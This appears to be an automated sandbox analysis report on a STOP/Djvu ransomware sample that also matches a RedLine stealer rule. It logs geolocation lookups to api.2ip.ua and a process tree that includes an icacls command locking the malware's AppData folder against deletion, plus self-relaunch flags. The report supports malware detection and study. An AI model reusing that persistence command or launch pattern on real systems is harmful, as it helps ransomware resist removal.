HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	188.114.96.3	443	1804	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 23:48:27 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-24 23:48:28 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Jul 2024 23:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W0tojucP3JsV7GmM4ijcnOOyrGqceZzXjBMdZPNtiUPyosBbADG1p8MeKHuKFVBCE3HGgeDaIuOQnH76r8s0M%2FYZrQcs5Cdr%2FFvrMbfbxfa5KV2h5%2B%2FRxUl9Uz8j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87cd18de371a40-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 23:48:28 UTC	455	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 30 62 38 62 35 62 63 61 30 39 30 65 32 62 39 61 30 66 65 62 64 62 35 65 66 61 33 61 35 62 32 62 61 62 35 62 33 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#d0b8b5bca090e2b9a0febdb5efa3a5b2bab5b3
2024-07-24 23:48:28 UTC	367	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 37 37 66 37 32 37 62 36 37 35 37 32 35 37 65 36 37 33 39 36 32 37 36 32 38 36 34 36 32 37 35 37 64 37 32 37 34 36 33 32 61 32 35 37 65 36 37 33 39 36 32 37 36 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#177f727b6757257e67396276286462757d7274632a257e67396276
2024-07-24 23:48:28 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-07-24 23:48:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	188.114.96.3	443	7020	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 23:48:33 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-24 23:48:34 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Jul 2024 23:48:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mMdBqlscdS0uZc3VwYUSN92MxrolcR3bgtAy4d8HuAy%2FNMwNTs7LHwZrDMUw6KlP2ZaBOM%2BTq9LPNY1TDQSB%2B6UdVUGHnWrzM3C4KLrSxVLYXIiH6Ch2yTWSgxy7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87cd40bea243c1-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 23:48:34 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 37 63 66 63 32 63 62 64 37 65 37 39 35 63 65 64 37 38 39 63 61 63 32 39 38 64 34 64 32 63 35 63 64 63 32 63 34 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#a7cfc2cbd7e795ced789cac298d4d2c5cdc2c4
2024-07-24 23:48:34 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 64 32 35 32 38 32 31 33 64 30 64 37 66 32 34 33 64 36 33 33 38 32 63 37 32 33 65 33 38 32 66 32 37 32 38 32 65 33 39 37 30 37 66 32 34 33 64 36 33 33 38 32 63 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#4d2528213d0d7f243d63382c723e382f27282e39707f243d63382c">
2024-07-24 23:48:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49727	188.114.96.3	443	1492	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 23:48:36 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-24 23:48:37 UTC	918	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Jul 2024 23:48:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RKwtF5yx%2BCg0jz71S6WLN26vs%2FBr40R0uJeW9We7BczP5%2Fdx1T8WzkrtbXpO8zVV%2Fn8XLfX8QJinvoPx03uEdbb99xU%2BIFnxl%2BQxb3CMbpUi2Smxj7tdsfmGBvPP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87cd537ea67c7e-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 23:48:37 UTC	451	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 37 33 66 33 32 33 62 32 37 31 37 36 35 33 65 32 37 37 39 33 61 33 32 36 38 32 34 32 32 33 35 33 64 33 32 33 34 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#573f323b2717653e27793a32682422353d3234
2024-07-24 23:48:37 UTC	371	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 33 38 62 38 36 38 66 39 33 61 33 64 31 38 61 39 33 63 64 39 36 38 32 64 63 39 30 39 36 38 31 38 39 38 36 38 30 39 37 64 65 64 31 38 61 39 33 63 64 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#e38b868f93a3d18a93cd9682dc90968189868097ded18a93cd
2024-07-24 23:48:37 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-07-24 23:48:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	188.114.96.3	443	736	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 23:48:45 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-24 23:48:45 UTC	920	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Jul 2024 23:48:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gUFvXOWFxE2rXQw14OOrcNaXupiKysV8y%2BLUI2gOZG%2BUmI8aQjTImd9iScgd6dwN2TK4ngHfmMKMxUAYuoaRbgUxDF%2F%2BmY1oglInN9Y2%2Bn2%2BIate9imUyer%2FtDuT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87cd874a4143d5-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 23:48:45 UTC	449	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 39 66 31 66 63 66 35 65 39 64 39 61 62 66 30 65 39 62 37 66 34 66 63 61 36 65 61 65 63 66 62 66 33 66 63 66 61 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#99f1fcf5e9d9abf0e9b7f4fca6eaecfbf3fcfa
2024-07-24 23:48:45 UTC	481	IN	Data Raw: d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 66 36 37 36 61 36 33 37 66 34 66 33 64 36 36 37 66 32 31 37 61 36 65 33 30 37 63 37 61 36 64 36 35 36 61 36 63 37 62 33 32 33 64 36 36 37 66 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#0f676a637f4f3d667f217a6e307c7a6d656a6c7b323d667f
2024-07-24 23:48:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49733	188.114.96.3	443	6688	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 23:48:52 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-24 23:48:53 UTC	906	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Jul 2024 23:48:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0VQbuCN5Q2SZKsZKZLsVMW4E6gsdgswSzHo6StAIlgeDaPdFHIl53auQpDBpvUTU42XF3inMfqGfPEoqmJTloeAgYfbHMkFLAgHy0GPnroLGXFL82NY1b4rjEjD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87cdb6efd0728a-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 23:48:53 UTC	463	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 30 37 38 37 35 37 63 36 30 35 30 32 32 37 39 36 30 33 65 37 64 37 35 32 66 36 33 36 35 37 32 37 61 37 35 37 33 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#1078757c60502279603e7d752f6365727a7573
2024-07-24 23:48:53 UTC	467	IN	Data Raw: d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 61 38 32 38 66 38 36 39 61 61 61 64 38 38 33 39 61 63 34 39 66 38 62 64 35 39 39 39 66 38 38 38 30 38 66 38 39 39 65 64 37 64 38 38 33 39 61 63 34 39 66 38 62 22 3e 3c 73 70 61 6e 20 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#ea828f869aaad8839ac49f8bd5999f88808f899ed7d8839ac49f8b"><span
2024-07-24 23:48:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:48:19
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe"
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:48:19
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Imagebase:	0xf90000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:48:24
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3664 -s 1700
Imagebase:	0xdc0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:48:25
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe"
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:48:27
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xe60000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:48:27
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2217283375.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:48:28
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
